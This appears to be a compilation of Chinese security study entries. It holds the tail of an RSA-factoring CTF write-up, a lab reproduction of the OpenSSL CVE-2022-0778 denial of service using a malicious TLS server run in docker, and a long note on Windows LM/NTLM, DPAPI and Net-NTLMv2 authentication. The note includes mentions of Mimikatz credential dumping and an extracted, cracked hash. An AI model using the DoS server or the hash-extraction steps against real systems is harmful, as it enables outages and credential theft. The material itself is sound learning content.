pattern = 0x10000000000000000000000000000000000000000000000000000000000000001000000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000001000000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000001
for i in range(16):
N = 864548738332874087668503368831766249570260242783591552090675185261065394078050565610543041932800764724587585870383343251100904921187940519593954644380103508613133721893687769245467054781165129931842935345632471221108475282905047577044998272614999900190070356568926673218272825600985299507924236632515852004699265280255459721713289017451417963625732868682233625418249666192969191571123259131334481738959268675197737845268734505452629162251408183665714593194085000765150594131359155637719565709425013854872777561241631196785845113023038532866885477368063060870336357032800949481193136635548507618719395155108369351135560013249407504681745255774980220938402804576145433072855750609892899681227859840020080049417911764687461353619448605061402921180936683590478280857786258094946429659735653016131876268043249607509143045235827923490215048040840605913760167939925178228075589301790633691254996042457599109896534654922831538681455372034279792686064670317873356145126455426581532494485566559734055837974168777530418933444611498167101313802133643307821986306829084673888064633316469645388738526070397530481627815041169108357108172265337488326979522139084457836177137061191877719132682265381042692814726652081549112958388430260682287769002623
if solve(N,pattern):
print(hex(pattern))
return
pattern >>=8
```
And running this returns `p`, and `q`, which we can then use to decrypt the flag:
```python
p = 31555720069118467147821203380224688806508163874037062556871239093255339528072891743195624687579532411584859333841089765811499736308991315463091756017090529202299936208689648373141343597991860093978598902926090232992764931582226454250074858177012092591548149291064575730653835010920492247198535167191585166480877445761052166924142883439179965961951576933148558934090755078213363498758285000755039337195455242673921605828911137420067348601000484969826029498761388313806843351409851631342417130602655307496140948184067195777694576593815738040507892091972065716370060935261045921496556097674611235357384656566616433908673
q = 27397528449333398750266387529399849594682216775605225874849547559945466938581310049056423758294428745281988771459564198153711125673814939447341104464740539016255096946065703781298853877488132070586594115004124442717121218952600553960735334894628874273087986471973958189578919842785742959834288220821152546005560279488312797225964835987590602038239664681987623721916034601354242735359390919706918151677300197346402700017376804125322544083323057603601951652908109780754435619135175157568318298834572584611540505862918372984499337203170925029821230664438885207275220250572467711031742903314341377918564015565214188441151
e = 65537
d = modinv(e, (p - 1) * (q - 1))
data = open("flag.enc", 'rb').read()
print(long_to_bytes(pow(bytes_to_long(data), d, p * q)))
```
And we finally get `CTF{ju5t-A-cheap3r-w4y-t0-generate-pR1m3s}`
|
sec-knowleage
|
# OpenSSL无限循环DOS漏洞(CVE-2022-0778)
OpenSSL是一个开放源代码的软件库包,应用程序可以使用这个包来进行安全通信,避免窃听,同时确认另一端连接者的身份。这个包广泛被应用在互联网的网页服务器上。
OpenSSL 1.1.1m 版本及以前存在一处逻辑缺陷,攻击者可以利用一个无效的椭圆曲线参数证书,触发一个无限循环导致耗尽目标CPU。由于证书解析发生在验证证书签名之前,任何解析外部提供的证书的进程都可能受到拒绝服务的攻击。
参考链接:
- <https://github.com/drago-96/CVE-2022-0778>
- <https://www.cnblogs.com/logchen/p/16030515.html>
- <https://catbro666.github.io/posts/83951100/>
- <https://github.com/yywing/cve-2022-0778>
## 漏洞环境
执行如下命令启动一个server:
```
docker compose up -d
```
## 漏洞复现
首先,使用[这个项目](https://github.com/vulhub/cve-2022-0778)中的代码编译并运行一个恶意服务器。如果你没有Golang相关编译环境,也可以直接使用如下Docker命令启动:
```
docker run -it --rm -p 12345:12345 yywing/cve-2022-0778 --addr 0.0.0.0:12345
```
然后,你可以在Vulhub环境中使用`top`命令来查看此时的CPU占用:
```
docker compose exec curl top
```
由于这个漏洞是发生在解析TLS证书时,所以我们可以使用cURL来复现这个漏洞。进入容器,并执行cURL命令访问前面启动的恶意服务器:
```
docker compose exec curl bash
curl -k https://host.docker.internal:12345
```
此时,cURL会陷入死循环,查看`top`中的CPU占用即可发现已经100%:

|
sec-knowleage
|
# 认证
> 注 : 笔记中拓扑图 drawio 与 xmind 源文件在其图片目录下
---
<p align="center">
<img src="../../../../assets/img/Integrated/Windows/笔记/认证/Windows认证.png" width="70%">
</p>
---
## 大纲
* **[本地认证](#本地认证)**
* [LM-Hash](#lm-hash)
* [NTLM-Hash](#ntlm-hash)
* [本地认证流程](#本地认证流程)
* [DPAPI](#dpapi)
* **[网络认证](#网络认证)**
* [LM](#lm)
* [NTLM](#ntlm)
* [Challenge/Response](#challengeresponse)
* [NTLMv2](#ntlmv2)
* [Net-NTLM hash](#net-ntlm-hash)
* [域环境中NTLM认证方式](#域环境中ntlm认证方式)
* [SSP & SSPI](#ssp--sspi)
* [Signing](#signing)
* [Negotiation](#negotiation)
* [MIC](#mic)
* [EPA](#epa)
* [LmCompatibilityLevel](#lmcompatibilitylevel)
* **[域认证](#域认证)**
* [MSCACHE](#mscache)
* [Kerberos](#kerberos)
* [简要概括认证过程](#简要概括认证过程)
* [详细概括认证过程](#详细概括认证过程)
* [PAC](#pac)
* [SPN](#spn)
* [委派](#委派)
* [约束委派](#约束委派)
* [基于资源的约束委派](#基于资源的约束委派)
---
## 本地认证
在 Windows 系统中本机的用户密码以 hash 形式存储在 `%SystemRoot%\system32\config\sam` 数据库文件中。sam 的简称是Security Account Manager,安全账户管理器。被保存的 hash 分为 `LM Hash` 和 `NTLM hash`;微软在 Windows NT 4.0 中引入 SYSKEY 对 `SAM` 文件加密。而域内用户的密码 Hash 是存在域控的 `NTDS.DIT` 文件里面。
这个 SAM 文件中保留了计算机本地所有用户的凭证信息,可以理解为是一个数据库。登录系统的时候,系统会自动地读取 `SAM` 文件中的密码与键入的密码进行比对,如果相同,则认证成功。
操作系统启动之后,`SAM` 文件将同时被锁定。这意味着操作系统运行之时,用户无法打开或复制 `SAM` 文件。除了锁定,整个 `SAM` 文件还经过加密,且不可见。
**哈希(hash)**
Windows 本身不保存明文密码,只保留密码的 Hash。为了保证存储的不是明文,从而采用 Hash,但是密码 Hash 也需要特定的生成算法以及表现形式。
Hash 就是使用一种加密函数进行计算后的结果。这个加密函数对一个任意长度的字符串数据进行一次数学加密函数运算,然后返回一个固定长度的字符串。现在已经有了更新的 NTLMv2 以及 Kerberos 验证体系。Windows 加密过的密码口令,我们称之为 hash,Windows 的系统密码 hash 默认情况下一般由两部分组成:第一部分是 LM-hash,第二部分是 NTLM-hash。
---
### LM-Hash
LAN Manager(LM)哈希是 Windows 系统所用的第一种密码哈希算法,是一种较古老的 Hash,在 LAN Manager 协议中使用,非常容易通过暴力破解获取明文凭据。它只有唯一一个版本且一直用到了 NT LAN Manager(NTLM)哈希的出现,在 Windows Vista/Windows 7/Windows Server 2008 以及后面的系统中,LM 哈希算法是默认关闭的,LM 算法是在 DES 基础上实现的,不区分字母大小写,由 IBM 设计。
**生成原理**
1. 用户的密码转换为大写,密码转换为16进制字符串,不足14字节将会用0来再后面补全。
2. 密码的16进制字符串被分成两个 7byte 部分。每部分转换成比特流,并且长度位 56bit,长度不足用0在左边补齐长度
3. 再分 7bit 为一组,每组末尾加 0,再组成一组
4. 上步骤得到的二组,分别作为 key 为 `KGS!@#$%` 进行 DES 加密。
4. 将加密后的两组拼接在一起,得到最终 LM HASH 值。
**风险**
LM 加密算法存在一些固有的漏洞
1. 首先,密码长度最大只能为14个字符
2. 密码不区分大小写。在生成哈希值之前,所有密码都将转换为大写
3. 查看我们的加密过程,就可以看到使用的是分组的 DES,如果密码强度是小于 7 位,那么第二个分组加密后的结果肯定是 aad3b435b51404ee,同理,如果我们看到 lm hash 的结尾是 aad3b435b51404ee,就可以判断密码强度少于7位
4. 一个14个字符的密码分成7 + 7个字符,并且分别为这两个半部分计算哈希值。这种计算哈希值的方式使破解难度成倍增加,因为攻击者需要将7个字符(而不是14个字符)强制暴力破解。这使得14个字符的密码的有效强度等于,或者是7个字符的密码的两倍,该密码的复杂度明显低于 95<sup>14</sup> 14个字符的密码的理论强度。
5. Des 密码强度不高
---
### NTLM-Hash
**NTLM Hash**
为了解决 LM 加密和身份验证方案中固有的安全弱点,Microsoft 于 1993 年在 Windows NT 3.1 中引入了 NTLM 协议。
NT LAN Manager(NTLM)哈希是 Windows 系统认可的另一种算法,用于替代古老的 LM-Hash,一般指 Windows 系统下 Security Account Manager(SAM)中保存的用户密码 hash,在 Windows Vista/Windows 7/Windows Server 2008 以及后面的系统中,NTLM 哈希算法是默认启用的。
下面是各个版本对 LM 和 NTLM 的支持。
| | 2000 | XP | 2003 | Vista | Win7 | 2008 | Win8 | 2012 |
| - | - | - | - | - | - | - | - | - |
| LM | ✔ | ✔ | ✔ | | | | | |
| NTLM | 🔺 | 🔺 | 🔺 | ✔ | ✔ | ✔ | ✔ | ✔ |
---
| ✔ | 系统默认使用的加密方式 |
| - | - |
| 🔺 | 当密码超过14位时使用的加密方式 |
当用户登录时,将用户输入的明文密码加密成 `NTLM Hash`,与 `SAM` 数据库文件中的 `NTLM Hash` 进行比较。
在渗透测试中,通常可从 Windows 系统中的 `SAM` 文件和域控的 `NTDS.dit` 文件中获得所有用户的 hash,通过 Mimikatz 读取 `lsass.exe` 进程能获得已登录用户的 `NTLM hash`。
**生成原理**
1. 先将用户密码转换为十六进制格式。
2. 将十六进制格式的密码进行 Unicode 编码。
3. 使用 MD4 摘要算法对 Unicode 编码数据进行 Hash 计算
**快速生成**
```bash
python2 -c 'import hashlib,binascii; print binascii.hexlify(hashlib.new("md4", "P@ssw0rd".encode("utf-16le")).digest())'
```
**NTLM Hash 与 NTLM 的关系**
在 Windows 中,密码 Hash 目前称之为 NTLM Hash,其中 NTLM 全称是:“NT LAN Manager”。
而 NTLM 是一种网络认证协议,与 NTLM Hash 的关系就是:NTLM 网络认证协议是以 NTLM Hash 作为根本凭证进行认证的协议。也就是说,NTLM 与 NTLM Hash 相互对应。
在本地认证的过程中,其实就是将用户输入的密码转换为 NTLM Hash 与 SAM 中的 NTLM Hash 进行比较。
---
### 本地认证流程
本地登录时,用户的密码存储在 `%SystemRoot%\system32\config\SAM` 这个文件里。当用户输入密码进行本地认证的过程中,所有的操作都是在本地进行的。他其实就是将用户输入的密码转换为 NTLM Hash,然后与 SAM 中的 NTLM Hash 进行比较。当用户注销、重启、锁屏后,操作系统会让 winlogon 显示登录界面,也就是输入框。当 winlogon.exe 接收输入后,将密码交给 lsass 进程,这个进程中会存一份明文密码,将明文密码加密成 NTLM Hash,对 SAM 数据库比较认证。
- Windows Logon Process(即 winlogon.exe),是Windows NT 用户登录程序,用于管理用户登录和退出。
- LSASS 用于微软 Windows 系统的安全机制。用于本地安全和登录策略。
**参考如下**
```bash
winlogon.exe -> 接收用户输入 -> lsass.exe -> 认证
```
1. 当刚开机、注销等操作后,winlogon.exe 进程会显示一个登录界面要求输入用户名和密码。
2. 输入用户名和密码后,会被 winlogon.exe 获取,然后将其发送给 lsass.exe 进程。
3. lsass.exe 将明文密码计算得到 NT Hash(不考虑LM)。
4. 之后会将用户名和密码计算得到的 NT Hash 拿到 SAM 数据库去查找比对。
### DPAPI
从 Windows 2000 开始,Microsoft 随操作系统一起提供了一种特殊的数据保护接口,称为 Data Protection Application Programming Interface(DPAPI)。其分别提供了加密函数 CryptProtectData 与解密函数 CryptUnprotectData 以用作敏感信息的加密解密。
主要用于保护加密的数据,常见的应用如:
- EFS文件加密
- 存储无线连接密码
- Windows Credential Manager
- Internet Explorer
- Outlook
- Skype
- Windows CardSpace
- Windows Vault
- Google Chrome
**Master Key**
64 字节,用于解密 DPAPI blob,使用用户登录密码、SID 和 16 字节随机数加密后保存在 Master Key file 中
**Master Key file**
二进制文件,可使用用户登录密码对其解密,获得 Master Key
分为两种:
- 用户 Master Key file,位于 %APPDATA%\Microsoft\Protect\%SID%
- 系统 Master Key file,位于 %WINDIR%\System32\Microsoft\Protect\S-1-5-18\User
存放密钥的文件则被称之为 Master Key Files,其路径一般为 `%APPDATA%/Microsoft/Protect/%SID%` 。而这个文件中的密钥实际上是随机 64 位字节码经过用户密码等信息的加密后的密文,所以只需要有用户的明文密码 / Ntlm/Sha1 就可以还原了。
**Preferred 文件**
位于 Master Key file 的同级目录,显示当前系统正在使用的 MasterKey 及其过期时间,默认 90 天有效期
为了安全考虑,Master Key 是每 90 天就会更新一次,而 Preferred 文件中记录了目前使用的是哪一个 Master Key 文件以及其过期时间,这里这个文件并没有经过任何加密
格式如下:
```
typedef struct _tagPreferredMasterKey
{
GUID guidMasterKey;
FILETIME ftCreated;
} PREFERREDMASTERKEY, *PPREFERREDMASTERKEY;
```
例如
前16字节 E3 A5 DD 1F E8 E7 24 4D 93 37 FC C7 71 F1 E1 84 对应 guid,调整格式后,对应文件为
1FDDA5E3-E7E8-4D24-9337-FCC771F1E184
后8字节 A0 59 47 CD 9A 23 D7 01 对应过期时间
使用 3gstudent 文章中分享的解析方法如下:
```c
#include <windows.h>
int main(void)
{
FILE *fp;
unsigned char buf[24];
fopen_s(&fp,"Preferred","rb");
fread(buf,1,24,fp);
printf("Data: ");
for(int i=0;i<24;i++)
{
printf("%02x",buf[i]);
}
fclose(fp);
printf("\nguidMasterKey: %02x%02x%02x%02x-%02x%02x-%02x%02x-%02x%02x-%02x%02x%02x%02x%02x%02x\n",buf[3],buf[2],buf[1],buf[0],buf[5],buf[4],buf[7],buf[6],buf[8],buf[9],buf[10],buf[11],buf[12],buf[13],buf[14],buf[15]);
char lowDateTime[9],highDateTime[9];
sprintf_s(lowDateTime,9,"%02X%02X%02X%02X",buf[19],buf[18],buf[17],buf[16]);
sprintf_s(highDateTime,9,"%02X%02X%02X%02X",buf[23],buf[22],buf[21],buf[20]);
printf("dwLowDateTime:%s\n",lowDateTime);
printf("dwHighDateTime:%s\n",highDateTime);
FILETIME ftUTC;
SYSTEMTIME stUTC2;
sscanf_s(lowDateTime,"%x",&ftUTC.dwLowDateTime);
sscanf_s(highDateTime,"%x",&ftUTC.dwHighDateTime);
FileTimeToSystemTime(&ftUTC, &stUTC2);
printf("");
printf("Expiry time: %d-%d-%d %d:%d:%d\n", stUTC2.wYear, stUTC2.wMonth, stUTC2.wDay, stUTC2.wHour, stUTC2.wMinute, stUTC2.wSecond);
return 0;
}
```
**CREDHIST**
此外,在 `%APPDATA%/Microsoft/Protect/` 目录下还有一个 CREDHIST 文件。由于 Master Key 的还原与用户密码相关,所以需要保存用户的历史密码信息以确保接口的正常使用,而此文件中就保存了用户的历史密码(Ntlm hash/sha1 hash)。
---
## 网络认证
在内网渗透中,经常遇到工作组环境,而工作组环境是一个逻辑上的网络环境(工作区),隶属于工作组的机器之间无法互相建立一个完美的信任机制,只能点对点,是比较落后的认证方式,没有信托机构。
假设 A 主机与 B 主机属于同一个工作组环境,A 想访问 B 主机上的资料,需要将一个存在于 B 主机上的账户凭证发送至 B 主机,经过认证才能够访问 B 主机上的资源。
这是我们接触比较多的 SMB 共享文件的案例,SMB 的默认端口是 445。
早期 SMB 协议在网络上传输明文口令。后来出现 LAN Manager Challenge/Response 验证机制,简称 LM,它很容易被破解,就又有了 NTLM 以及 Kerberos。
---
### LM
LM 与 NTLM 协议的认证机制相同,但是加密算法不同。
目前大多数的 Windows 都采用 NTLM 协议认证,LM 协议已经基本淘汰了。
---
### NTLM
**认证的应用**
在域环境下,可以使用 Kerberos 或者 NTLM 认证来实现对用户的身份认证。在很多企业的内部网络中(基本都是域环境),都是使用 Kerberos认证或 NTLM 认证,在 Windows 2000 以后,在域环境下,Kerberos 是默认的认证方式。因为由于 NTLM 认证存在安全风险,所以用 Kerberos 认证的较多。Kerberos 较之 NTLM 更高效、更安全,同时认证过程也相对复杂。在非域环境下,一般都是使用 NTLM 进行认证。SMB 服务和很多 Web 程序都是使用 NTLM 来实现对用户的身份认证。
NTLM 并没有定义它所依赖的传输层协议。NTLM 消息的传输完全依赖于使用 NTLM 的上层协议来决定。所以说 NTLM 是一个嵌入式协议。
如果你自己写一个利用 NTLM SSP 的程序,那么在拿到 NTLM 消息后,你可以以任何你喜欢的方式将这些消息发送至服务端。比如通过 HTTP,TCP,或者任何其他类型的 7 层协议,或者你自己定义的协议。
**什么是 NTLM**
NTLM 是一种网络认证协议,以 NTLM Hash 作为凭证进行认证。NTLM Hash 长度为32位,由数字和字母组成,采用挑战/响应(Challenge/Response)的消息交换模式,
这个协议只支持 Windows.
NTLM 协议的认证过程分为三步:
- 协商 : 主要用于确认双方协议版本
- 质询 : 就是挑战(Challenge)/响应(Response)认证机制起作用的范畴
- 验证 : 验证主要是在质询完成后,验证结果,是认证的最后一步。
#### Challenge/Response
1. 客户端需要访问服务器的某个服务(前提是他得知道服务器的用户名和密码),所以得进行身份认证。于是,客户端输入服务器的用户名和密码进行验证,客户端会缓存服务器密码的 NTLM-Hash 值。客户端发送 TYPE 1 Negotiate 协商消息去协商需要认证的主体,用户(服务器端的用户名),机器以及需要使用的安全服务等等信息。
2. 服务端接收到客户端发送过来的 TYPE 1 消息,会读取其中的内容,并从中选择出自己所能接受的服务内容,加密等级,安全服务等等。然后传入 NTLM SSP,得到 NTLM_CHALLENGE 消息(被称为 TYPE 2 消息,Challenge 挑战消息),并将此 TYPE 2 消息发回给客户端。此TYPE 2消息中包含了一个由服务端生成的 16 位随机值,此随机值被称为 Challenge,服务器将该 Challenge 保存起来。
3. 客户端收到服务端返回的 TYPE 2 消息, 读取出服务端所支持的内容,并取出其中的随机值 Challenge,用缓存的服务器端密码的哈希值 NTLM-Hash 对其进行加密,得到 Net NTLM-Hash(加密后的 Challenge),并且将 Net NTLM-Hash 封装到 NTLM_AUTH 消息中(被称为 TYPE 3 消息, Authenticate 认证消息),发往服务端。
4. 服务器在收到 Type3 的消息之后,用自己的密码的 NTLM-Hash 对 Challenge 进行加密,并比较自己计算出的 Net NTLM-Hash 认证消息和客户端发送的认证消息是否匹配。如果匹配,则证明客户端掌握了正确的密码,认证成功,否则认证失败。
**详细过程**
- type 1 协商
这个过程是客户端向服务器发送 type 1(协商)消息,它主要包含客户端支持和服务器请求的功能列表。
主要包含以下结构
- type 2 质询
这个过程是服务器用 type 2 消息(质询)进行响应,这包含服务器支持和同意的功能列表。但是,最重要的是,它包含服务器产生的 Challenge。
主要包含以下结构
其中最主要的信息是 challenge。后面加密验证依赖于 challenge
- type 3 身份验证
这个过程客户端接收到 challenge 之后,使用用户 hash 与 challenge 进行加密运算得到 response,将 response,username,challenge 发给服务器。消息中的 response 是最关键的部分,因为它向服务器证明客户端用户已经知道帐户密码。
主要包含以下结构
这里的 Challeng 不同于 type2 的 Challenge,这里的 Challenge 是一个随机的客户端 nonce。
MIC 是校验和,设计 MIC 主要是为了防止这个包中途被修改
sessionkey 是在要求进行签名的时候用的,用来进行协商加密密钥,可能有些文章会说 sessionkey 就是加密密钥,需要拥有用户 hash 才能计算出来,因此攻击者算不出来,就无法加解密包。但是想想就不可能,这个 session_key 已经在流量里面明文传输,那攻击者拿到之后不就可以直接加解密包了。
**注意**
1. Chanllenge 是 Server 产生的一个 16 字节的随机数,每次认证都不同
2. Response 的表现形式是 Net-NTLM Hash,它是由客户端提供的密码 Hash 加密 Server 返回的 Chanllenge 产生的结果。
---
#### NTLMv2
NTLMv1 和 NTLMv2 的加密因素都是 NTLM Hash,而最显著的区别就是 Challenge 和加密算法不同,共同点就是加密的原料都是 NTLM Hash。
- Challage: NTLMv1 的 Challenge 有 8 位,NTLMv2 的 Challenge 为 16 位。
- Net-NTLM Hash:NTLMv1 的主要加密算法是 DES,NTLMv2 的主要加密算法是 HMAC-MD5。
设置系统使用 LM 还是 NTLM 还是 NTLMv2,需要修改 Local Security Policy 中的 LmCompatibilityLevel 选项
- 发送 LM NTLM 响应: 客户端使用 LM 和 NTLM 身份验证,而决不会使用 NTLMv2 会话安全;域控制器接受 LM、NTLM 和 NTLMv2 身份验证。
- 发送 LM & NTLM - 如果协商一致,则使用 NTLMv2 会话安全: 客户端使用 LM 和 NTLM 身份验证,并且在服务器支持时使用 NTLMv2 会话安全;域控制器接受 LM、NTLM 和 NTLMv2 身份验证。
- 仅发送 NTLM 响应: 客户端仅使用 NTLM 身份验证,并且在服务器支持时使用 NTLMv2 会话安全;域控制器接受 LM、NTLM 和 NTLMv2 身份验证。
- 仅发送 NTLMv2 响应: 客户端仅使用 NTLMv2 身份验证,并且在服务器支持时使用 NTLMv2 会话安全;域控制器接受 LM、NTLM 和 NTLMv2 身份验证。
- 仅发送 NTLMv2 响应\拒绝 LM: 客户端仅使用 NTLMv2 身份验证,并且在服务器支持时使用 NTLMv2 会话安全;域控制器拒绝 LM (仅接受 NTLM 和 NTLMv2 身份验证)。
- 仅发送 NTLMv2 响应\拒绝 LM & NTLM: 客户端仅使用 NTLMv2 身份验证,并且在服务器支持时使用 NTLMv2 会话安全;域控制器拒绝 LM 和 NTLM (仅接受 NTLMv2 身份验证)。
默认下
- Windows 2000 以及 Windows XP: 发送 LM & NTLM 响应
- Windows Server 2003: 仅发送 NTLM 响应
- Windows Vista、Windows Server 2008、Windows 7 以及 Windows Server 2008 R2及以上: 仅发送 NTLMv2 响应
---
#### Net-NTLM hash
在 type3 中的响应,有六种类型的响应
1. LM(LAN Manager)响应 - 由大多数较早的客户端发送,这是“原始”响应类型。
2. NTLM v1 响应 - 这是由基于 NT 的客户端发送的,包括 Windows 2000 和 XP。
3. NTLMv2 响应 - 在 Windows NT Service Pack 4 中引入的一种较新的响应类型。它替换启用了 NTLM 版本 2 的系统上的 NTLM 响应。
4. LMv2 响应 - 替代 NTLM 版本 2 系统上的 LM 响应。
5. NTLM2 会话响应 - 用于在没有 NTLMv2 身份验证的情况下协商 NTLM2 会话安全性时,此方案会更改 LM NTLM 响应的语义。
6. 匿名响应 - 当匿名上下文正在建立时使用; 没有提供实际的证书,也没有真正的身份验证。“存 根”字段显示在类型 3 消息中。
这六种使用的加密流程一样,都是 Challenge/Response 验证机制,区别在 Challenge 和加密算法不同。
在以上流程中,登录用户的密码 hash 即 NTLM hash,其中,经过 NTLM Hash 加密 Challenge 的结果在网络协议中称之为 Net NTLM Hash,response 中包含 Net-NTLM hash.
在 NTLM 认证中,NTLM 响应分为 NTLM v1,NTLMv2,NTLM session v2 三种协议,不同协议使用不同格式的 Challenge 和加密算法.所以也就存在不同协议的 Net-NTLM hash,即 Net-NTLM v1 hash,Net-NTLM v2 hash
---
**Net-NTLM v1 hash**
v1 是将 16字节的 NTLM hash 空填充为 21 个字节,然后分成三组,每组7比特,作为 3DES 加密算法的三组密钥,加密 Server 发来的 Challenge。 将这三个密文值连接起来得到 response。
回顾一下流程
1. 客户端向服务器发送一个请求
2. 服务器接收到请求后,生成一个 8 位的 Challenge,发送回客户端
3. 客户端接收到 Challenge 后,使用登录用户的密码 hash 对 Challenge 加密,作为 response 发送给服务器
4. 服务器校验 response
**Net-NTLM v2 hash**
v2 将 Unicode 后的大写用户名与 Unicode 后的身份验证目标(在 Type 3 消息的”TargetName”字段中指定的域或服务器名称)拼在一起。请注意,用户名将转换为大写,而身份验证目标区分大小写,并且必须与“TargetName”字段中显示的大小写匹配。使用 16 字节 NTLM 哈希作为密钥,得到一个值。
回顾一下流程
1. 客户端向服务器发送一个请求
2. 服务器接收到请求后,生成一个 16 位的 Challenge,发送回客户端
3. 客户端接收到 Challenge 后,使用登录用户的密码 hash 对 Challenge 加密,作为 response 发送给服务器
4. 服务器校验 response
使用 16 字节 NTLMv2 哈希作为密钥,将 HMAC-MD5 消息认证代码算法加密一个值(来自 type 2 的 Challenge 与 Blob 拼接在一起)。得到一个 16 字节的 NTProofStr。
将 NTProofStr 与 Blob 拼接起来形成得到 response。至于选择哪个版本的响应由 LmCompatibilityLevel 决定。
Challenge/Response 验证机制里面 type3 response 里面包含 Net-ntlm hash,NTLM v1 响应和 NTLMv2 响应对应的就是 Net-ntlm hash 分为 Net-ntlm hash v1 和 Net-ntlm hash v2。
Net-ntlm hash v1 的格式为:
> username::hostname:LM response:NTLM response:challenge
Net-ntlm hash v2 的格式为:
> username::domain:challenge:HMAC-MD5:blob
下面演示从 response 里面提取 NTLMv2
这里的 challenge 是 type2 服务器返回的 challenge 不是 type3 流量包里面的 client Challenge
就是 18f77b6fe9f8d876
HMAC-MD5 对应数据包中的 NTProofSt : 0ecfccd87d3bdb81713dc8c07e6705b6
blob 就是 response 减去 NTProofStr。(因为在计算 response 的时候,response 就是由 NTProofStr 加上 blob)
- username(要访问服务器的用户名):Administrator
- domain(访问者主机名或者 ip):DESKTOP-QKM4NK7
- challenge(数据包 2 中服务器返回的 challenge 值):18f77b6fe9f8d876
- HMAC-MD5(数据包 3 中的 NTProofStr): 0ecfccd87d3bdb81713dc8c07e6705b6
- blob(blob 对应数据为 NTLMv2 Response 开头去掉 NTProofStr 的后半部分):01010000000000002a470d3bc233d6017eb1f527b5e7bd4d0000000002001e00570049004e002d0041003500470050004400430050004a0037004f00540001001e00570049004e002d0041003500470050004400430050004a0037004f00540004001e00570049004e002d0041003500470050004400430050004a0037004f00540003001e00570049004e002d0041003500470050004400430050004a0037004f005400070008002a470d3bc233d601060004000200000008003000300000000000000001000000002000003737fbe7dbcbd2c8e5d7a030f44586c91423d9c5202f827f3f6cf26f69adbfe80a001000000000000000000000000000000000000900280063006900660073002f003100390032002e003100360038002e003100340031002e003100330039000000000000000000
所以最后,Net-NTLM v2 Hash 值为:
```
Administrator::DESKTOP-QKM4NK7:18f77b6fe9f8d876:0ecfccd87d3bdb81713dc8c07e6705b6:01010000000000002a470d3bc233d6017eb1f527b5e7bd4d0000000002001e00570049004e002d0041003500470050004400430050004a0037004f00540001001e00570049004e002d0041003500470050004400430050004a0037004f00540004001e00570049004e002d0041003500470050004400430050004a0037004f00540003001e00570049004e002d0041003500470050004400430050004a0037004f005400070008002a470d3bc233d601060004000200000008003000300000000000000001000000002000003737fbe7dbcbd2c8e5d7a030f44586c91423d9c5202f827f3f6cf26f69adbfe80a001000000000000000000000000000000000000900280063006900660073002f003100390032002e003100360038002e003100340031002e003100330039000000000000000000
```
上面的 Net-NTLM v2 Hash 值若使用 hashcat 爆破应为 Abcd1234
抓包过程见 [Wireshark笔记](../../../Security/BlueTeam/实验/流量分析.md#ntlm-工作组) 案例中 NTLMv2 部分
---
#### 域环境中NTLM认证方式
1. 用户通过输入 Windows 帐号和密码登录客户端主机,客户端会缓存密码的哈希值 NTLM-Hash。成功登录客户端的用户如果试图访问服务器资源,需要向对方发送一个请求,该请求利用 NTLM SSP 生成 NTLM_NEGOTIATE 消息 (被称为 TYPE 1 消息,Negotiate 协商消息),并将 TYPE 1 消息发送给服务端中,该 TYPE 1 消息中包含一个以明文表示的用户名以及其他的一些协商信息(认证的主体,机器以及需要使用的安全服务等等信息)
2. 服务端接收到客户端发送过来的 TYPE 1 消息,会读取其中的内容,并从中选择出自己所能接受的服务内容,加密等级,安全服务等等。然后传入 NTLM SSP,得到 NTLM_CHALLENGE 消息(被称为 TYPE 2 消息,Challenge 挑战消息),并将此 TYPE 2 消息发回给客户端。此 TYPE 2 消息中包含了一个由服务端生成的16位随机值,此随机值被称为 Challenge,服务器将该 Challenge 保存起来。
3. 客户端收到服务端返回的 TYPE 2 消息, 读取出服务端所支持的内容,并取出其中的随机值 Challenge,用缓存的密码的哈希值 NTLM-Hash 对其进行加密,得到 Net NTLM-Hash(加密后的 Challenge),并且将 Net NTLM-Hash 封装到 NTLM_AUTH 消息中(被称为 TYPE 3 消息, Authenticate认证消息),发往服务端。
4. 服务器接收到客户端发送来的 NTLM_AUTH 的 TYPE 3 消息后,取出其中的 Net NTLM-Hash 值,并向 DC 域控(Domain Control)发送针对客户端的验证请求。该请求主要包含以下三方面的内容:客户端用户名、原始的 Challenge 和 加密后的 Challenge(也就是 Net NTLM-Hash)。
5. DC 根据用户名获取该帐号的密码哈希值 NTLM-Hash,用密码哈希值 NTLM-Hash 对原始的 Challenge 进行加密得到 Net NTLM-Hash。如果加密后的 Challenge 和服务器发送的一致,则意味着用户拥有正确的密码,验证通过,否则验证失败。DC 将验证结果发给服务器。
6. 服务器根据 DC 返回的结果,对客户端进行回复。
抓包过程见 [Wireshark笔记](../../../Security/BlueTeam/实验/流量分析.md#ntlm-域) 案例中 域环境中NTLM认证方式 部分
---
#### SSP & SSPI
**SSPI(Security Support Provider Interface)**
这是 Windows 定义的一套接口,此接口定义了与安全有关的功能函数,用来获得验证、信息完整性、信息隐私等安全功能,就是定义了与安全有关的功能函数,包括但不限于:
- 身份验证机制
- 为其他协议提供的 Session security 机制
**SSP(Security Support Provider)**
SSPI 的实现者,对 SSPI 相关功能函数的具体实现。微软自己实现了如下的 SSP,用于提供安全功能:
- NTLM SSP
- Kerberos
- Cred SSP
- Digest SSP
- Negotiate SSP
- Schannel SSP
- Negotiate Extensions SSP
- PKU2U SSP
在系统层面,SSP 就是一个 dll,来实现身份验证等安全功能.不同的 SSP,实现的身份验证机制是不一样的。
比如 NTLM SSP 实现的就是一种 Challenge/Response 验证机制。
而 Kerberos 实现的就是基于 ticket 的身份验证机制。
我们可以编写自己的 SSP,然后注册到操作系统中,让操作系统支持更多的自定义的身份验证方法。
SSPI 接口提供了多种功能,包括 AcquireCredentialsHandle,InitializeSecurityContext 和 AcceptSecurityContext。
在 NTLM 身份验证期间,客户端和服务器都将使用这些功能。简要描述步骤如下:
1. 客户端调用 `AcquireCredentialsHandle` ,以获得对用户凭证的间接访问。
2. 然后客户端调用 `InitializeSecurityContext` ,这个函数在第一次调用时,会创建一个 type 1 消息,因此类型为 NEGOTIATE。
3. 服务器在收到消息时,会调用 `AcceptSecurityContext` 函数。这个函数将创建 type 2 消息,即 CHALLENGE。
4. 当收到这个消息时,客户端将再次调用 `InitializeSecurityContext` ,但这次将 CHALLENGE 作为参数传递。NTLMSSP 包负责一切,通过加密 challenge 计算 response ,并将产生最后的 AUTHENTICATE 消息。
5. 在收到最后这条消息后,服务器也会再次调用 `AcceptSecurityContext` ,认证验证将自动进行。
